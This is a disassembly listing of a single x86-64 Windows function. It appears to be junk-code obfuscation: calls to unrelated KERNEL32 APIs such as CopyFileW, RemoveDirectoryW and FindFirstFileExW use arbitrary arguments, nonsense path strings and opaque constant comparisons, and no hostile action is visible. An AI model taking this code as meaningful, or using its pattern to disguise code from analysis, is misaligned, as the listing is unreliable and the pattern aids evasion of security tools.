mov eax, dword [rsp + 0x2974]
mov dword [rsp + 0x46c8], eax
cmp dword [rsp + 0x46c8], 0x545f7f79
je 0x1401495a6
jmp 0x1401495bb
mov rcx, qword [rsp + 0x4e78]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov dword [rsp + 0x29c0], eax
mov eax, dword [rsp + 0x29d0]
mov dword [rsp + 0x29f8], eax
lea rdx, [rsp + 0x15ff0]
mov rcx, qword [rsp + 0x4d80]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov dword [rsp + 0x2990], eax
mov rax, qword [rsp + 0x4d88]
movzx ecx, al
mov rax, qword [rsp + 0x4d70]
shl rax, cl
mov qword [rsp + 0x4de0], rax
movsx eax, word [rsp + 0xb28]
movsx ecx, word [rsp + 0xb20]
and eax, ecx
mov word [rsp + 0xb1c], ax
mov rax, qword [rsp + 0x4df0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
sub eax, ecx
movsx ecx, byte [rsp + 0x131]
movsx edx, byte [rsp + 0x134]
add ecx, edx
cmp eax, ecx
jne 0x140149713
movzx eax, word [rsp + 0xb18]
mov dword [rsp + 0x46cc], eax
cmp dword [rsp + 0x46cc], 0x887
je 0x1401496dc
cmp dword [rsp + 0x46cc], 0xf14
je 0x14014967e
jmp 0x140149713
movzx eax, word [rsp + 0xb24]
movzx ecx, word [rsp + 0xb18]
add eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
mov r9d, 1
mov r8d, 0x26
mov edx, 0x86
mov rcx, qword [rsp + 0x14ed8]
call qword [sym.imp.KERNEL32.dll_WriteTapemark]
mov dword [rsp + 0x28ac], eax
movzx eax, byte [rsp + 0x135]
mov rcx, qword [rsp + 0x4dd8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5f], al
jmp 0x140149713
movzx eax, word [rsp + 0xb20]
mov word [rsp + 0x20], ax
mov r9d, dword [rsp + 0x2988]
movzx r8d, word [rsp + 0xb24]
mov rax, qword [rsp + 0x4db0]
movzx edx, word [rax]
mov rcx, qword [rsp + 0x4d78]
call fcn.14014af40
nop
jmp 0x14014983d
mov rax, qword [rsp + 0x4d98]
movabs rcx, 0x40daabbe3f662851
mov rax, qword [rax]
add rax, rcx
cmp rax, qword [rsp + 0x4d78]
jl 0x14014981c
mov eax, dword [rsp + 0x29ec]
add eax, 0x351b092
mov dword [rsp + 0x29d0], eax
movsx eax, byte [rsp + 0x131]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
mov dword [rsp + 0x46d0], ecx
movsx edx, byte [rsp + 0x134]
movzx ecx, dl
mov edx, dword [rsp + 0x46d0]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jg 0x1401497b2
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb24]
sub eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
movabs rax, 0x4d9f15597051f717
mov rcx, qword [rsp + 0x4d78]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
lea r9, [rsp + 0x15340]
mov r8d, 0xb4
lea rdx, str.hunts_follow_Inept_dithers
lea rcx, str.C:DeskincorrectRescuesCaliperAccountant
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov dword [rsp + 0x2974], eax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4de0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d88], rax
mov r8d, 1
lea rdx, str.C:_tabascoTeleprinterStrifes_flatness
lea rcx, str.C:loutEncodeOinked
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov dword [rsp + 0x45c0], eax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb18]
add eax, ecx
mov word [rsp + 0xb24], ax
jmp 0x140149967
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
sub eax, ecx
movsx ecx, byte [rsp + 0x131]
cmp eax, ecx
jl 0x1401498a4
jmp 0x1401498d7
movsx eax, byte [rsp + 0x131]
movsx ecx, byte [rsp + 0x132]
shl eax, cl
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov edx, 0xde
mov ecx, 0x9e
call qword [sym.imp.KERNEL32.dll_IsValidLocale]
mov dword [rsp + 0x2a04], eax
mov rax, qword [rsp + 0x4d70]
mov qword [rsp + 0x15190], rax
movabs rax, 0x3e539118fc156408
cmp qword [rsp + 0x15190], rax
je 0x140149933
movabs rax, 0xb9346a35704e459d
cmp qword [rsp + 0x15190], rax
je 0x140149911
jmp 0x140149952
mov rax, qword [rsp + 0x4d98]
movabs rcx, 0x19ff7574a599cd67
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4d78], rax
jmp 0x140149952
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x131]
xor eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
movsx eax, word [rsp + 0xb1c]
or eax, 0x4094
mov word [rsp + 0xb1c], ax
movzx eax, word [rsp + 0xb18]
add eax, 0xf69
mov word [rsp + 0xb18], ax
movabs rax, 0x8c3cfec045690598
mov rcx, qword [rsp + 0x4d70]
add rcx, rax
mov rax, rcx
lea rax, [rsp + 0x4d70]
mov qword [rsp + 0x20], rax
mov r9d, 0x38
lea r8, [rsp + 0x4dc8]
mov edx, 0x3a
mov rcx, qword [rsp + 0x4d68]
call qword [sym.imp.KERNEL32.dll_QueryInformationJobObject]
mov dword [rsp + 0x2a04], eax
movabs rax, 0xfc2316e6234d8d80
mov rcx, qword [rsp + 0x4d70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d88], rax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
add eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov rcx, qword [rsp + 0x4dc8]
call qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
mov dword [rsp + 0x2a38], eax
jmp 0x140149b00
movabs rax, 0xe4d009546d9bf3
mov rcx, qword [rsp + 0x4d70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d88], rax
movzx eax, byte [rsp + 0x5f]
cmp eax, 0xc2
je 0x140149a86
lea rax, [rsp + 0x2980]
mov qword [rsp + 0x20], rax
mov r9d, 0xcf
lea r8, [rsp + 0xb18]
mov edx, 0x5a
mov ecx, 0xb3
call qword [sym.imp.KERNEL32.dll_GetStringTypeA]
mov dword [rsp + 0x2978], eax
call fcn.14014a530
nop
movabs rax, 0x6814c290c69299a9
mov rcx, qword [rsp + 0x4d78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d98]
cmp rax, qword [rcx]
jne 0x140149b00
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
add eax, 0x24
mov byte [rsp + 0x131], al
lea r8, [rsp + 0x15ff0]
mov edx, 0x7b
mov ecx, 0x3c
call qword [sym.imp.KERNEL32.dll_GetCPInfoExW]
mov dword [rsp + 0x45c0], eax
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4d78]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
lea rcx, [rsp + 0x2980]
call qword [sym.imp.KERNEL32.dll_GetNumberOfConsoleMouseButtons]
mov dword [rsp + 0x45c0], eax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x131]
add eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
lea rdx, [rsp + 0x5f]
mov rcx, qword [rsp + 0x4d80]
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov dword [rsp + 0x2990], eax
movzx eax, byte [rsp + 0x5f]
xor eax, 0xcf
mov byte [rsp + 0x5f], al
mov word [rsp + 0x20], 0xe9
mov r9d, dword [rsp + 0x2974]
movzx r8d, word [rsp + 0xb18]
movzx edx, word [rsp + 0xb18]
mov rcx, qword [rsp + 0x4d78]
call fcn.14014af40
nop
jmp 0x140149bce
movabs rax, 0x84869600bf799e3
cmp qword [rsp + 0x4d70], rax
ja 0x140149bce
mov word [rsp + 0x20], 0xf1
mov r9d, dword [rsp + 0x2974]
movzx r8d, word [rsp + 0xb18]
movzx edx, word [rsp + 0xb18]
mov rcx, qword [rsp + 0x4d78]
call fcn.14014af40
nop
mov edx, 0xaa
mov rcx, qword [rsp + 0x4dc8]
call qword [sym.imp.KERNEL32.dll_SetThreadAffinityMask]
mov dword [rsp + 0x2988], eax
movzx eax, word [rsp + 0xb18]
sar eax, 9
mov word [rsp + 0xb18], ax
jmp 0x140149d21
mov dword [rsp + 0x20], ILClone
mov r9d, 0xb8
mov r8d, PathMakeUniqueName
mov edx, 0xe9
mov rcx, qword [rsp + 0x4d80]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x2a04], eax
movabs rax, 0xb39fd6873ef1e77c
mov rcx, qword [rsp + 0x4d70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
movabs rax, 0x8df9b4fa583898af
cmp qword [rsp + 0x4d70], rax
jne 0x140149d21
mov rax, qword [rsp + 0x4d78]
mov qword [rsp + 0x15198], rax
movabs rax, 0x1eb7753dcc04e138
cmp qword [rsp + 0x15198], rax
je 0x140149c8f
jmp 0x140149d17
xor edx, edx
lea rcx, [rsp + 0x15cb0]
call qword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
mov dword [rsp + 0x2980], eax
movabs rax, 0x7efa45fc4f26cc91
mov rcx, qword [rsp + 0x4d78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d78], rax
mov dword [rsp + 0x28], 0x76
lea rax, [rsp + 0x5f]
mov qword [rsp + 0x20], rax
mov r9d, 0xf4
lea r8, [rsp + 0x4d80]
mov edx, SHDoDragDrop
lea rcx, str.C:Benediction_shadows_transvestiteHooded
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov qword [rsp + 0x4d80], rax
movzx eax, word [rsp + 0xb18]
or eax, 0x505
mov word [rsp + 0xb18], ax
jmp 0x140149d21
mov cx, 0x68
call fcn.14014a980
nop
movzx eax, byte [rsp + 0x5f]
mov byte [rsp + 0x46d4], al
cmp byte [rsp + 0x46d4], 0xa7
je 0x140149d3b
jmp 0x140149d45
mov cx, 0xba
call fcn.14014a980
nop
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
lea rax, [rsp + 0x5f]
mov qword [rsp + 0x20], rax
mov r9d, 0x92
lea r8, [rsp + 0x4dc8]
mov edx, reloc.SHELL32.dll_ILCreateFromPathW
lea rcx, str.C:confirm_renamedCarboniseEligiblecrow
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov qword [rsp + 0x4dc8], rax
movsx eax, byte [rsp + 0x131]
sub eax, 0x54
mov byte [rsp + 0x131], al
movzx eax, byte [rsp + 0x5f]
add eax, 0x69
mov byte [rsp + 0x5f], al
mov eax, dword [rsp + 0x3890]
add rsp, 0x16bd8
pop rdi
pop rsi
ret